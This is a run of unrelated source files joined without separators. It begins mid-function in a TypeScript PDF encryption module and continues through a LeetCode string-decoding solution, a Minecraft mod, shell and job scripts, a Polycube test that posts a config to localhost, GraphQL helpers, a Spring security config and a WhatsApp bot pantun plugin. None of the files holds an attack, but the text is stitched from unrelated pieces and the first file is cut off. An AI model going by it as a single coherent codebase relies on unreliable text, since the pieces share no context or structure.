getUserPasswordR5( processedUserPassword, PDFSecurity.generateRandomWordArray ); const userKeySalt = CryptoJS.lib.WordArray.create( userPasswordEntry.words.slice(10, 12), 8 ); const userEncryptionKeyEntry = getUserEncryptionKeyR5( processedUserPassword, userKeySalt, this._encryptionKey ); const ownerPasswordEntry = getOwnerPasswordR5( processedOwnerPassword, userPasswordEntry, PDFSecurity.generateRandomWordArray ); const ownerKeySalt = CryptoJS.lib.WordArray.create( ownerPasswordEntry.words.slice(10, 12), 8 ); const ownerEncryptionKeyEntry = getOwnerEncryptionKeyR5( processedOwnerPassword, ownerKeySalt, userPasswordEntry, this._encryptionKey ); const permsEntry = getEncryptedPermissionsR5( permissions, this._encryptionKey, PDFSecurity.generateRandomWordArray ); encDict.V = 5; encDict.Length = this._keyBits; encDict.CF = { StdCF: { AuthEvent: 'DocOpen', CFM: 'AESV3', Length: this._keyBits / 8, }, }; encDict.StmF = 'StdCF'; encDict.StrF = 'StdCF'; encDict.R = 5; encDict.O = wordArrayToBuffer(ownerPasswordEntry); encDict.OE = wordArrayToBuffer(ownerEncryptionKeyEntry); encDict.U = wordArrayToBuffer(userPasswordEntry); encDict.UE = wordArrayToBuffer(userEncryptionKeyEntry); encDict.P = permissions; encDict.Perms = wordArrayToBuffer(permsEntry); } getEncryptFn(obj: number, gen: number) { let digest: CryptoJS.lib.WordArray; if (this._version < 5) { digest = this._encryptionKey .clone() .concat( CryptoJS.lib.WordArray.create( [ ((obj & 0xff) << 24) | ((obj & 0xff00) << 8) | ((obj >> 8) & 0xff00) | (gen & 0xff), (gen & 0xff00) << 16, ], 5 ) ); } if (this._version === 1 || this._version === 2) { const newKey = CryptoJS.MD5(digest!); newKey.sigBytes = Math.min(16, this._keyBits / 8 + 5); return (buffer: number[]) => wordArrayToBuffer( CryptoJS.RC4.encrypt(CryptoJS.lib.WordArray.create(buffer), newKey) .ciphertext ); } let key: CryptoJS.lib.WordArray; if (this._version === 4) { key = CryptoJS.MD5( digest!.concat(CryptoJS.lib.WordArray.create([0x73416c54], 4)) ); } else { key = this._encryptionKey; } const iv = PDFSecurity.generateRandomWordArray(16); const options = { mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, iv, }; return (buffer: number[]) => wordArrayToBuffer( iv .clone() .concat( CryptoJS.AES.encrypt( CryptoJS.lib.WordArray.create(buffer), key, options ).ciphertext ) ); } end() { this._dictionary.end(); } } function getPermissionsR2(permissionObject: PDFPermissions = {}) { let permissions = 0xffffffc0 >> 0; if (permissionObject.printing) { permissions |= 0b000000000100; } if (permissionObject.modifying) { permissions |= 0b000000001000; } if (permissionObject.copying) { permissions |= 0b000000010000; } if (permissionObject.annotating) { permissions |= 0b000000100000; } return permissions; } function getPermissionsR3(permissionObject: PDFPermissions = {}) { let permissions = 0xfffff0c0 >> 0; if (permissionObject.printing === 'lowResolution') { permissions |= 0b000000000100; } if (permissionObject.printing === 'highResolution') { permissions |= 0b100000000100; } if (permissionObject.modifying) { permissions |= 0b000000001000; } if (permissionObject.copying) { permissions |= 0b000000010000; } if (permissionObject.annotating) { permissions |= 0b000000100000; } if (permissionObject.fillingForms) { permissions |= 0b000100000000; } if (permissionObject.contentAccessibility) { permissions |= 0b001000000000; } if (permissionObject.documentAssembly) { permissions |= 0b010000000000; } return permissions; } function getUserPasswordR2(encryptionKey: CryptoJS.lib.WordArray) { return CryptoJS.RC4.encrypt(processPasswordR2R3R4(), encryptionKey) .ciphertext; } function getUserPasswordR3R4( documentId: Buffer, encryptionKey: CryptoJS.lib.WordArray ) { const key = encryptionKey.clone(); let cipher = CryptoJS.MD5( processPasswordR2R3R4().concat( CryptoJS.lib.WordArray.create(documentId as any) ) ); for (let i = 0; i < 20; i++) { const xorRound = Math.ceil(key.sigBytes / 4); for (let j = 0; j < xorRound; j++) { key.words[j] = encryptionKey.words[j] ^ (i | (i << 8) | (i << 16) | (i << 24)); } cipher = CryptoJS.RC4.encrypt(cipher, key).ciphertext; } return cipher.concat(CryptoJS.lib.WordArray.create(undefined, 16)); } function getOwnerPasswordR2R3R4( r: 2 | 3 | 4, keyBits: number, paddedUserPassword: CryptoJS.lib.WordArray, paddedOwnerPassword: CryptoJS.lib.WordArray ) { let digest = paddedOwnerPassword; let round = r >= 3 ? 51 : 1; for (let i = 0; i < round; i++) { digest = CryptoJS.MD5(digest); } const key = digest.clone(); key.sigBytes = keyBits / 8; let cipher = paddedUserPassword; round = r >= 3 ? 20 : 1; for (let i = 0; i < round; i++) { const xorRound = Math.ceil(key.sigBytes / 4); for (let j = 0; j < xorRound; j++) { key.words[j] = digest.words[j] ^ (i | (i << 8) | (i << 16) | (i << 24)); } cipher = CryptoJS.RC4.encrypt(cipher, key).ciphertext; } return cipher; } function getEncryptionKeyR2R3R4( r: number, keyBits: number, documentId: Buffer, paddedUserPassword: CryptoJS.lib.WordArray, ownerPasswordEntry: CryptoJS.lib.WordArray, permissions: number ) { let key = paddedUserPassword .clone() .concat(ownerPasswordEntry) .concat(CryptoJS.lib.WordArray.create([lsbFirstWord(permissions)], 4)) .concat(CryptoJS.lib.WordArray.create(documentId as any)); const round = r >= 3 ? 51 : 1; for (let i = 0; i < round; i++) { key = CryptoJS.MD5(key); key.sigBytes = keyBits / 8; } return key; } function getUserPasswordR5( processedUserPassword: CryptoJS.lib.WordArray, generateRandomWordArray: (n: number) => CryptoJS.lib.WordArray ) { const validationSalt = generateRandomWordArray(8); const keySalt = generateRandomWordArray(8); return CryptoJS.SHA256(processedUserPassword.clone().concat(validationSalt)) .concat(validationSalt) .concat(keySalt); } function getUserEncryptionKeyR5( processedUserPassword: CryptoJS.lib.WordArray, userKeySalt: CryptoJS.lib.WordArray, encryptionKey: CryptoJS.lib.WordArray ) { const key = CryptoJS.SHA256( processedUserPassword.clone().concat(userKeySalt) ); const options = { mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.NoPadding, iv: CryptoJS.lib.WordArray.create(undefined, 16), }; return CryptoJS.AES.encrypt(encryptionKey, key, options).ciphertext; } function getOwnerPasswordR5( processedOwnerPassword: CryptoJS.lib.WordArray, userPasswordEntry: CryptoJS.lib.WordArray, generateRandomWordArray: (n: number) => CryptoJS.lib.WordArray ) { const validationSalt = generateRandomWordArray(8); const keySalt = generateRandomWordArray(8); return CryptoJS.SHA256( processedOwnerPassword .clone() .concat(validationSalt) .concat(userPasswordEntry) ) .concat(validationSalt) .concat(keySalt); } function getOwnerEncryptionKeyR5( processedOwnerPassword: CryptoJS.lib.WordArray, ownerKeySalt: CryptoJS.lib.WordArray, userPasswordEntry: CryptoJS.lib.WordArray, encryptionKey: CryptoJS.lib.WordArray ) { const key = CryptoJS.SHA256( processedOwnerPassword .clone() .concat(ownerKeySalt) .concat(userPasswordEntry) ); const options = { mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.NoPadding, iv: CryptoJS.lib.WordArray.create(undefined, 16), }; return CryptoJS.AES.encrypt(encryptionKey, key, options).ciphertext; } function getEncryptionKeyR5( generateRandomWordArray: (n: number) => CryptoJS.lib.WordArray ) { return generateRandomWordArray(32); } function getEncryptedPermissionsR5( permissions: number, encryptionKey: CryptoJS.lib.WordArray, generateRandomWordArray: (n: number) => CryptoJS.lib.WordArray ) { const cipher = CryptoJS.lib.WordArray.create( [lsbFirstWord(permissions), 0xffffffff, 0x54616462], 12 ).concat(generateRandomWordArray(4)); const options = { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.NoPadding, }; return CryptoJS.AES.encrypt(cipher, encryptionKey, options).ciphertext; } function processPasswordR2R3R4(password = '') { const out = Buffer.alloc(32); const length = password.length; let index = 0; while (index < length && index < 32) { const code = password.charCodeAt(index); if (code > 0xff) { throw new Error('Password contains one or more invalid characters.'); } out[index] = code; index++; } while (index < 32) { out[index] = PASSWORD_PADDING[index - length]; index++; } return CryptoJS.lib.WordArray.create(out as any); } function processPasswordR5(password = '') { password = unescape(encodeURIComponent(saslprep(password))); const length = Math.min(127, password.length); const out = Buffer.alloc(length); for (let i = 0; i < length; i++) { out[i] = password.charCodeAt(i); } return CryptoJS.lib.WordArray.create(out as any); } function lsbFirstWord(data: number) { return ( ((data & 0xff) << 24) | ((data & 0xff00) << 8) | ((data >> 8) & 0xff00) | ((data >> 24) & 0xff) ); } function wordArrayToBuffer(wordArray: CryptoJS.lib.WordArray) { const byteArray: number[] = []; for (let i = 0; i < wordArray.sigBytes; i++) { byteArray.push( (wordArray.words[Math.floor(i / 4)] >> (8 * (3 - (i % 4)))) & 0xff ); } return Buffer.from(byteArray); } const PASSWORD_PADDING = [ 0x28, 0xbf, 0x4e, 0x5e, 0x4e, 0x75, 0x8a, 0x41, 0x64, 0x00, 0x4e, 0x56, 0xff, 0xfa, 0x01, 0x08, 0x2e, 0x2e, 0x00, 0xb6, 0xd0, 0x68, 0x3e, 0x80, 0x2f, 0x0c, 0xa9, 0xfe, 0x64, 0x53, 0x69, 0x7a, ];
package cm.xxx.minos.leetcode; /** * 394. 字符串解码 * 测试用例: * "3[a]2[bc]" * "3[a2[c]]" * "2[abc]3[cd]ef" * "2[abc]3[cd]ef4[f]3[a3[gk]]" * "100[leetcode]" * "3[a]2[b4[F]c]" * "3[a3[gk]]" * Author: lishangmin * Created: 2018-08-23 10:16 */ public class Solution80 { public String decodeString(String s) { String[] stack = new String[s.length()]; int top = -1; for (int i = 0; i < s.length() ; i++) { if(']' == s.charAt(i)){ //统计字符串 StringBuilder value = new StringBuilder(); while ('[' != stack[top].charAt(0)){ value.insert(0,String.valueOf(stack[top--])); } //统计数字 --top; StringBuilder digit = new StringBuilder(); digit.append(stack[top--]); while (top > -1 && Character.isDigit(stack[top].charAt(0))){ digit.insert(0,String.valueOf(stack[top--])); } //计算字符串 int count = Integer.valueOf(digit.toString()); String temp = value.toString(); for (int j = 0; j < count - 1 ; j++) { value.append(temp); } stack[++top] = value.toString(); }else{ stack[++top] = String.valueOf(s.charAt(i)); } } StringBuilder result = new StringBuilder(); int index = 0; while (index <= top){ result.append(stack[index++]); } return result.toString(); } public static void main(String[] args) { Solution80 solution = new Solution80(); String s = "3[a3[gk]]"; // String s = "10[ab]"; String a = solution.decodeString(s); System.out.println(a); } }
# Common shell script code to get input and output files. INPUT= OUTPUT= while [ -n "$1" ]; do case "$1" in -o) shift; OUTPUT="$1";; *) INPUT="$1";; esac shift done if [ -z "$INPUT" -o -z "$OUTPUT" ]; then echo "Usage: $0 INPUT -o OUTPUT" exit fi
<filename>src/main/java/marioandweegee3/flax/FlaxMod.java package marioandweegee3.flax; import java.util.HashSet; import java.util.Collections; import java.io.IOException; import java.io.Writer; import java.io.BufferedInputStream; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.charset.Charset; import static java.nio.file.StandardOpenOption.CREATE; import static java.nio.file.StandardOpenOption.WRITE; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import marioandweegee3.flax.blocks.FMBlocks; import marioandweegee3.flax.items.FMItems; import marioandweegee3.flax.config.FMConfig; import net.fabricmc.api.ModInitializer; import net.fabricmc.loader.api.FabricLoader; import net.fabricmc.fabric.api.loot.v1.FabricLootPoolBuilder; import net.fabricmc.fabric.api.loot.v1.event.LootTableLoadingCallback; import net.minecraft.block.Block; import net.minecraft.item.Item; import net.minecraft.util.Identifier; import net.minecraft.util.registry.Registry; import net.minecraft.loot.provider.number.UniformLootNumberProvider; import net.minecraft.loot.condition.RandomChanceLootCondition; import net.minecraft.loot.entry.ItemEntry; import blue.endless.jankson.Jankson; import blue.endless.jankson.JsonGrammar; import blue.endless.jankson.JsonElement; import blue.endless.jankson.JsonObject; @SuppressWarnings("unused") public class FlaxMod implements ModInitializer { public static final String modid = "flax"; public static final Logger logger = LogManager.getLogger(modid); public void registerCrop(String name, Block crop){ Registry.register(Registry.BLOCK, new Identifier(modid, name), crop); } public void registerItem(String name, Item item){ Registry.register(Registry.ITEM, new Identifier(modid, name), item); } public static Charset charset = java.nio.charset.StandardCharsets.UTF_8; public static final JsonGrammar HJSON = JsonGrammar.builder() .withComments(true) .printCommas(false) .bareSpecialNumerics(true) .printUnquotedKeys(true) .build(); public static Jankson jankson = Jankson.builder().build(); public Float dropChance = 0.0f; @Override public void onInitialize() { registerItem("flax_seeds", FMItems.flaxSeeds); registerItem("roasted_flax_seeds", FMItems.roastedFlaxSeeds); registerCrop("flax", FMBlocks.flaxCrop); try { Path configDir = FabricLoader.getInstance().getConfigDir(); if(!Files.exists(configDir)) Files.createDirectories(configDir); Path configFile = configDir.resolve(Paths.get(modid.concat(".hjson"))).normalize(); configWriter(configFile); JsonObject configObject = configReader(configFile); dropChance = chanceToDrop(configObject, "grassFlaxSeedDropChance"); } catch (Exception e) { e.getStackTrace(); } LootTableLoadingCallback.EVENT.register( (resourceManager, lootManager, id, supplier, setter) -> { HashSet<String> hs = new HashSet<String>(); Collections.addAll(hs, "blocks/grass", "blocks/tall_grass", "blocks/fern", "blocks/large_fern"); if (hs.contains(id.getPath())) { FabricLootPoolBuilder poolBuilder = FabricLootPoolBuilder .builder() .rolls(UniformLootNumberProvider.create(0, 1)) .withCondition(RandomChanceLootCondition.builder(dropChance).build()) .withEntry(ItemEntry.builder(FMItems.flaxSeeds).build()); supplier.withPool(poolBuilder.build()); } } ); } public void configWriter(Path filePath) throws IOException { if(!Files.exists(filePath) || Files.size(filePath) == 0) { JsonElement element = jankson.toJson(new FMConfig()); try(Writer writer = Files.newBufferedWriter(filePath, charset, CREATE, WRITE)) { element.toJson(writer, HJSON, 0); writer.flush(); writer.close(); } catch(Exception e) { e.getStackTrace(); } } } public JsonObject configReader(Path filePath) throws IOException { JsonObject hjson = null; if (Files.size(filePath) > 0) { try(BufferedInputStream bis = new BufferedInputStream(Files.newInputStream(filePath))) { hjson = jankson.load(bis); return hjson; } catch(Exception e) { e.getStackTrace(); } } return hjson; } public Float chanceToDrop(JsonObject json, String key) { Float chance = json.get(Float.class, key); if (chance > 1.0f) { return 1.0f; } else if (chance < 0.0f) { return 0.0f; } else return chance; } }
SELECT * FROM Students ORDER BY name ASC LIMIT 5;
import React from 'react'; import renderer from 'react-test-renderer'; import RecipeDetails from './RecipeDetails'; describe('<RecipeDetails />', () => { it('renders correctly', () => { const flavors = [ { id: 1, name: '<NAME>', abbreviation: 'TPA', percent: 1, inStash: true } ]; const component = renderer.create( <RecipeDetails maxVG={false} percentVG={75} shakeAndVape={false} steepDays={7} flavors={flavors} /> ); expect(component.toJSON()).toMatchSnapshot(); }); });
<reponame>Rohitm619/Softuni-Python-Basic boot_capacity = float(input()) entries = 0 capacity = 0 suitcases_inside = 0 command = input() while command != "End": suitcases = float(command) entries += 1 suitcases_inside += 1 command = input() if entries % 3 == 0: capacity += suitcases + suitcases * 10 / 100 if capacity > boot_capacity: print(f"No more space!") print(f"Statistic: {suitcases_inside - 1} suitcases loaded.") break else: capacity += suitcases if capacity > boot_capacity: print(f"No more space!") print(f"Statistic: {suitcases_inside - 1} suitcases loaded.") break if command == "End": print(f"Congratulations! All suitcases are loaded!") print(f"Statistic: {suitcases_inside} suitcases loaded.") break
#! /bin/bash # include helper.bash file: used to provide some common function across testing scripts source "${BASH_SOURCE%/*}/helpers.bash" # function cleanup: is invoked each time script exit (with or without errors) # please remember to cleanup all entities previously created: # namespaces, veth, cubes, .. function cleanup { set +e polycubectl dynmon del dm delete_veth 2 } trap cleanup EXIT # Enable verbose output set -x # Makes the script exit, at first error # Errors are thrown by commands returning not 0 value set -e DIR=$(dirname "$0") TYPE="TC" if [ -n "$1" ]; then TYPE=$1 fi # helper.bash function, creates namespaces and veth connected to them create_veth 2 # create instance of service dynmon polycubectl dynmon add dm type=$TYPE polycubectl dm show # attaching the monitor to veth1 polycubectl attach dm veth1 # injecting a dataplane configuration curl -H "Content-Type: application/json" "localhost:9000/polycube/v1/dynmon/dm/dataplane" --upload-file $DIR/test_map_extraction.json polycubectl dm show set +e sudo ip netns exec ns1 ping 10.0.0.2 -c 1 -w 1 set -e polycubectl dm metrics show expected_sh='[{"key":{"saddr":1,"daddr":2,"sport":11,"dport":22,"proto":0},"value":0}]' expected_sa='[{"timestamp":1010,"length":1010}]' expected_shh='Unhandled Map Type 13 extraction.' simple_hash_value=$(polycubectl dm metrics SIMPLE_HASH value show) simple_array_value=$(polycubectl dm metrics SIMPLE_ARRAY value show) set +e simple_hash_hash_value=$(polycubectl dm metrics SIMPLE_HASH_OF_HASH value show) set -e if [ "$simple_array_value" != "$expected_sa" ] then echo "SIMPLE_ARRAY extraction failed" echo "Expected: $expected_sa" echo "Got: $simple_array_value" exit 1 fi if [ "$simple_hash_value" != "$expected_sh" ] then echo "SIMPLE_HASH extraction failed" echo "Expected: $expected_sh" echo "Got: $simple_hash_value" exit 1 fi if [ "$simple_hash_hash_value" != "$expected_shh" ] then echo "SIMPLE_HASH_OF_HASH extraction failed" echo "Expected: $expected_shh" echo "Got: $simple_hash_hash_value" exit 1 fi echo "All tests passed!"
#!/bin/sh #BSUB -J edgeconv-hyperopt #The name the job will get #BSUB -q gpuv100 #The queue the job will be committed to, here the GPU enabled queue #BSUB -gpu "num=1:mode=exclusive_process" #How the job will be run on the VM, here I request 1 GPU with exclusive access i.e. only my c #BSUB -n 1 How many CPU cores my job request #BSUB -W 24:00 #The maximum runtime my job have note that the queuing might enable shorter jobs earlier due to scheduling. #BSUB -R "span[hosts=1]" #How many nodes the job requests #BSUB -R "rusage[mem=40GB]" #How much RAM the job should have access to #BSUB -R "select[gpu32gb]" #For requesting the extra big GPU w. 32GB of VRAM #BSUB -N #Send an email when done #BSUB -o logs/OUTPUT.%J #Log file #BSUB -e logs/ERROR.%J #Error log file echo "Starting:" cd ~/Thesis/src/models #cd /Users/theisferre/Documents/SPECIALE/Thesis/src/models source ~/Thesis/venv-thesis/bin/activate python hyperparams_edgeconv.py
<reponame>m-nakagawa/sample<gh_stars>0 /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.jena.sparql.engine.optimizer.reorder; import org.apache.jena.sparql.engine.optimizer.Pattern ; import org.apache.jena.sparql.engine.optimizer.StatsMatcher ; import org.apache.jena.sparql.engine.optimizer.reorder.PatternTriple ; import org.apache.jena.sparql.engine.optimizer.reorder.ReorderTransformationSubstitution ; import org.apache.jena.sparql.graph.NodeConst ; import org.apache.jena.sparql.sse.Item ; import static org.apache.jena.sparql.engine.optimizer.reorder.PatternElements.* ; /** Fixed scheme for choosing based on the triple patterns, without * looking at the data. It gives a weight to a triple, with more grounded terms * being considered better. It weights against rdf:type because that can be * very unselective (e.g. ?x rdf:type rdf:Resource) */ public class ReorderFixed extends ReorderTransformationSubstitution { /* * How it works: * * Choose the 'best' pattern, propagate the fact that variables are now * bound (ReorderTransformationSubstitution) then chooses the next triple * pattern. * * Instead of just one set of rules, we make an exception is rdf:type. ?x * rdf:type :T or ?x rdf:type ?type are often very much less selective and * we want to give them special, poorer weighings. We do this by controlling * the order of matching: first check to see if it's rdf;type in the * predicate position, then apply the appropriate matcher. * * If we just used a single StatsMatcher with all the rules, the * VAR/TERM/TERM or VAR/TERM/VAR rules match rdf:type with lower weightings. * * The relative order of equal weightings is not changed. * * There are two StatsMatchers: 'matcher' and 'matcherRdfType' * applied for the normal case and the rdf:type case. */ public ReorderFixed() {} private static Item type = Item.createNode(NodeConst.nodeRDFType) ; /** The number of triples used for the base scale */ public static final int MultiTermSampleSize = 100 ; // Used for general patterns private final static StatsMatcher matcher = new StatsMatcher() ; // Used to override choices made by the matcher above. private final static StatsMatcher matcherRdfType = new StatsMatcher() ; static { init() ; } private static void init() { //ype = Item.createNode(NodeConst.nodeRDFType) ; // rdf:type can be a bad choice e.g rdf:type rdf:Resource // with inference enabled. // Weight use of rdf:type worse then the general pattern // that would also match by using two matchers. // Numbers chosen as an approximation ratios for a graph of 100 triples // 1 : TERM type TERM is builtin (SPO). // matcherRdfType.addPattern(new Pattern(1, TERM, TERM, TERM)) ; matcherRdfType.addPattern(new Pattern(5, VAR, type, TERM)) ; matcherRdfType.addPattern(new Pattern(50, VAR, type, VAR)) ; // SPO - built-in - not needed as a rule // matcher.addPattern(new Pattern(1, TERM, TERM, TERM)) ; matcher.addPattern(new Pattern(2, TERM, TERM, VAR)) ; // SP? matcher.addPattern(new Pattern(3, VAR, TERM, TERM)) ; // ?PO matcher.addPattern(new Pattern(2, TERM, TERM, TERM)) ; // S?O matcher.addPattern(new Pattern(10, TERM, VAR, VAR)) ; // S?? matcher.addPattern(new Pattern(20, VAR, VAR, TERM)) ; // ??O matcher.addPattern(new Pattern(30, VAR, TERM, VAR)) ; // ?P? matcher.addPattern(new Pattern(MultiTermSampleSize, VAR, VAR, VAR)) ; // ??? } @Override public double weight(PatternTriple pt) { // Special case rdf:type first to make it lower(worse) than // VAR, TERM, TERM which would otherwise be used. if ( type.equals(pt.predicate) ) { double w = matcherRdfType.match(pt) ; if ( w > 0 ) return w ; } return matcher.match(pt) ; } }
import {Component, OnDestroy, OnInit} from '@angular/core'; import {interval, Subject, Subscription} from 'rxjs'; import {takeUntil} from 'rxjs/operators'; import {SocketService} from '../../services/socket.service'; import {DataStoreService} from '../../../../core/services/data-store.service'; import {GameViewService} from '../../services/game-view.service'; import {MATCHING, PHRASE, TEE_RESULT, TEE_VOTE} from '../../constants/game-views'; import {Stages} from '../../constants/stages.enum'; @Component({ selector: 'app-timer', templateUrl: './timer.component.html', styleUrls: ['./timer.component.scss'], }) export class TimerComponent implements OnInit, OnDestroy { private readonly loadedUsers: string []; private notifier = new Subject(); public subscription: Subscription; public duration: number; public gameStage: string; public timerState: boolean; constructor( private socketService: SocketService, private dataStore: DataStoreService, private gameViewService: GameViewService, ) { this.loadedUsers = this.dataStore.getLoadedUsers(); } ngOnInit(): void { this.initStage(); this.listenTimerState(); this.listenStartTimer(); this.listenStopEvent('stop-painting', PHRASE); this.listenStopEvent('stop-phrases', MATCHING); this.listenStopEvent('stop-matching', TEE_VOTE); this.listenStopEvent('continue-voting', TEE_VOTE); this.listenStopEvent('stop-voting', TEE_RESULT); } startCount(): void { this.duration -= 1; if (this.duration === 0) { this.subscription.unsubscribe(); this.finishStage(this.gameStage); this.dataStore.setTimerState(false); } } private listenStopEvent(event, nextView): void { this.socketService.listen(event) .pipe(takeUntil(this.notifier)) .subscribe((_) => { this.gameViewService.setCurrentView = nextView; this.dataStore.clearFinishedUsers(); if (this.gameViewService.getCurrentView === 'tee-vote-view') { this.startTimer(20); return; } this.startTimer(100); }); } private startTimer(duration: number): void { this.duration = duration; if (!this.timerState) { this.dataStore.setTimerState(true); this.subscription = interval(1000).subscribe((t) => { this.startCount(); }); } } private listenStartTimer(): void { this.socketService.listen('all-users-loaded').subscribe((_) => { this.startTimer(100); this.dataStore.setGameStage(Stages.painting); }); } ngOnDestroy(): void { this.notifier.next(); this.notifier.complete(); this.subscription.unsubscribe(); } private initStage(): void { this.dataStore.gameStage.pipe(takeUntil(this.notifier)) .subscribe((stage) => this.gameStage = stage); } private finishStage(gameStage: string) { if (this.dataStore.userIsLast(this.loadedUsers)) { return this.socketService.emit(`all-finish-${gameStage}`, {room: this.dataStore.getRoomCode()}); } } private listenTimerState(): void { this.dataStore.getTimerState() .subscribe(state => this.timerState = state); } }
#!/bin/sh ### currently, looks for either a virtualenv or anaconda install LIBNAME=$1 INCNAME=$2 UNAME=`uname` if [ "${UNAME}" = "Darwin" ]; then SOEXT=dylib else SOEXT=so fi if [ -n "${VIRTUAL_ENV}" ]; then if [ -f "${VIRTUAL_ENV}/lib/lib${LIBNAME}.${SOEXT}" ] && [ -d "${VIRTUAL_ENV}/include/${INCNAME}" ]; then echo "${VIRTUAL_ENV}" exit 0 fi fi if [ "${CONDA_BUILD}" = "1" ]; then if [ -f "${PREFIX}/lib/lib${LIBNAME}.${SOEXT}" ] && [ -d "${PREFIX}/include/${INCNAME}" ]; then echo "${PREFIX}" exit 0 fi fi if [ -n "${CONDA_DEFAULT_ENV}" ]; then DIR=`conda info | grep 'default environment' | awk '{print $4}'` if [ -f "${DIR}/lib/lib${LIBNAME}.${SOEXT}" ] && [ -d "${DIR}/include/${INCNAME}" ]; then echo "${DIR}" exit 0 fi fi exit 1
<gh_stars>1-10 import {DefinitionNode, DocumentNode, NameNode, visit} from "graphql/language"; import {IMPORT_ALL} from "./matchers"; export function expandDocumentImports( document: DocumentNode, imports: ResolvedImport<IMPORT_ALL | string[]>[], ): DocumentNode { return { ...document, definitions: imports.reduce<readonly DefinitionNode[]>( (acc, importMeta) => acc.concat( importMeta.imports === IMPORT_ALL ? importMeta.document.definitions : getImportedAstNodes(importMeta.imports, importMeta.document), ), document.definitions, ), }; } export type ResolvedImport<T> = { document: DocumentNode; imports: T; }; export function getImportedAstNodes( imports: string[], document: DocumentNode, ): DefinitionNode[] { const importNames = new Set(imports); const namedDefinitionNodes = document.definitions.filter(isNamedNode); const requiredNames = new Set( namedDefinitionNodes .filter(({name}) => importNames.has(name.value)) // flatMap .reduce<string[]>( (acc, definition) => [ ...acc, definition.name.value, ...getOperationNodeDependencyNames(definition), ], [], ), ); return namedDefinitionNodes.filter((definition) => requiredNames.has(definition.name.value), ); } function getOperationNodeDependencyNames(node: DefinitionNode): string[] { const names = new Set<string>(); visit(node, { FragmentSpread({name}) { names.add(name.value); }, }); return Array.from(names); } type NamedNode<T> = T & {name: NameNode}; function isNamedNode(node: DefinitionNode): node is NamedNode<DefinitionNode> { return "name" in node && node.name !== undefined; }
<filename>mc-gateway/zuul-gateway/src/main/java/com/mc/gateway/config/ResourceServerConfiguration.java package com.mc.gateway.config; import com.mc.common.config.DefaultPasswordConfig; import com.mc.oauth2.common.config.DefaultResourceServerConf; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Import; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; import org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer; /** * @author zlt */ @Configuration @EnableResourceServer @Import({DefaultPasswordConfig.class}) public class ResourceServerConfiguration extends DefaultResourceServerConf { @Override public HttpSecurity setAuthenticate(ExpressionUrlAuthorizationConfigurer<HttpSecurity>.AuthorizedUrl authorizedUrl) { return authorizedUrl.access("@permissionService.hasPermission(request, authentication)").and(); } }
<filename>plugins/pantun.js const { default: makeWASocket, BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, downloadContentFromMessage, downloadHistory, proto, getMessage, generateWAMessageContent, prepareWAMessageMedia } = require('@adiwajshing/baileys') let fs = require('fs') let handler = async (m) => { let who if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender else who = m.sender let user = global.db.data.users[who] let anu =` ─────〔 *Pantun* 〕───── ${pickRandom(global.pantun)} ` conn.sendUrlButton(m.chat, anu, '📍instagram', instagram, 'Pantun', '.pantun', m) } handler.help = ['pantun'] handler.tags = ['quotes'] handler.command = /^(pantun)$/i handler.owner = false handler.mods = false handler.premium = false handler.group = false handler.private = false handler.admin = false handler.botAdmin = false handler.fail = null module.exports = handler function pickRandom(list) { return list[Math.floor(list.length * Math.random())] } global.pantun = [ "kepasar beli udang, \nPulangnya beli kedondong,\nElu kok makai doang?,\n*Donasi Dong!*🗿🙏. ", "Ada anak kecil bermain batu,\nBatu dilempar masuk ke sumur,\nBelajar itu tak kenal waktu,\nJuga tidak memandang umur. ", "Tanam kacang di pagi hari,\nTumbuh enam layu sebatang,\nKeburukan orang jangan dicari,\nBila kalian sedang puasa. ", "Akhir bulan mendapat gaji,\nGaji untuk membeli ketupat,\nRajin-rajinlah sholat dan mengaji,\nJanganlah lupa puasa dan zakat. ", "Waktu daftar hari terakhir,\nWaktu terasa banyak terbuang,\nKamu nggak perlu khawatir,\ncintaku hanya untukmu seorang. ", "Ada anak kecil bermain batu,\nBatu dilempar masuk ke sumur,\nBelajar itu tak kenal waktu,\nJuga tidak memandang umur. ", "Seribu bebek di kandang singa,\nhanya satu berwarna belang,\nBeribu cewek di Indonesia,\nhanya engkau yang aku sayang. ", "Hari minggu pergi ke pasar,\nBeli sayur dan juga beras,\nTiap hari harus belajar,\nPasti akan menjadi cerdas. ", "Ayam goreng setengah mateng,\nBelinya di depan tugu.\nAbang sayang, abangku ganteng,\nlneng di sini setia menunggu. ", "Api kecil dari tungku,\nApinya kecil habis kayu.\nSudah lama kutunggu-tunggu,\nkapan kamu bilang I love you. ", "Seribu bebek di kandang singa,\nhanya satu berwarna belang\nBeribu cewek di Indonesia,\nhanya engkau yang aku sayang. ", "Pergi memancing saat fajar,\nPulang siang membawa ikan\nSiapa yang rajin belajar\nJadi orang sukses kemudian. ", "Beli computer itu biasa\nSupaya belajar jadi semangat\nMari kita belajar puasa\nAgar kita jadi kuat ", "Minum sekoteng hangat rasanya,\nminum segelas ada yang minta.\nLaki-laki ganteng siapa yang punya?\nBolehkah aku jatuh cinta.", ]
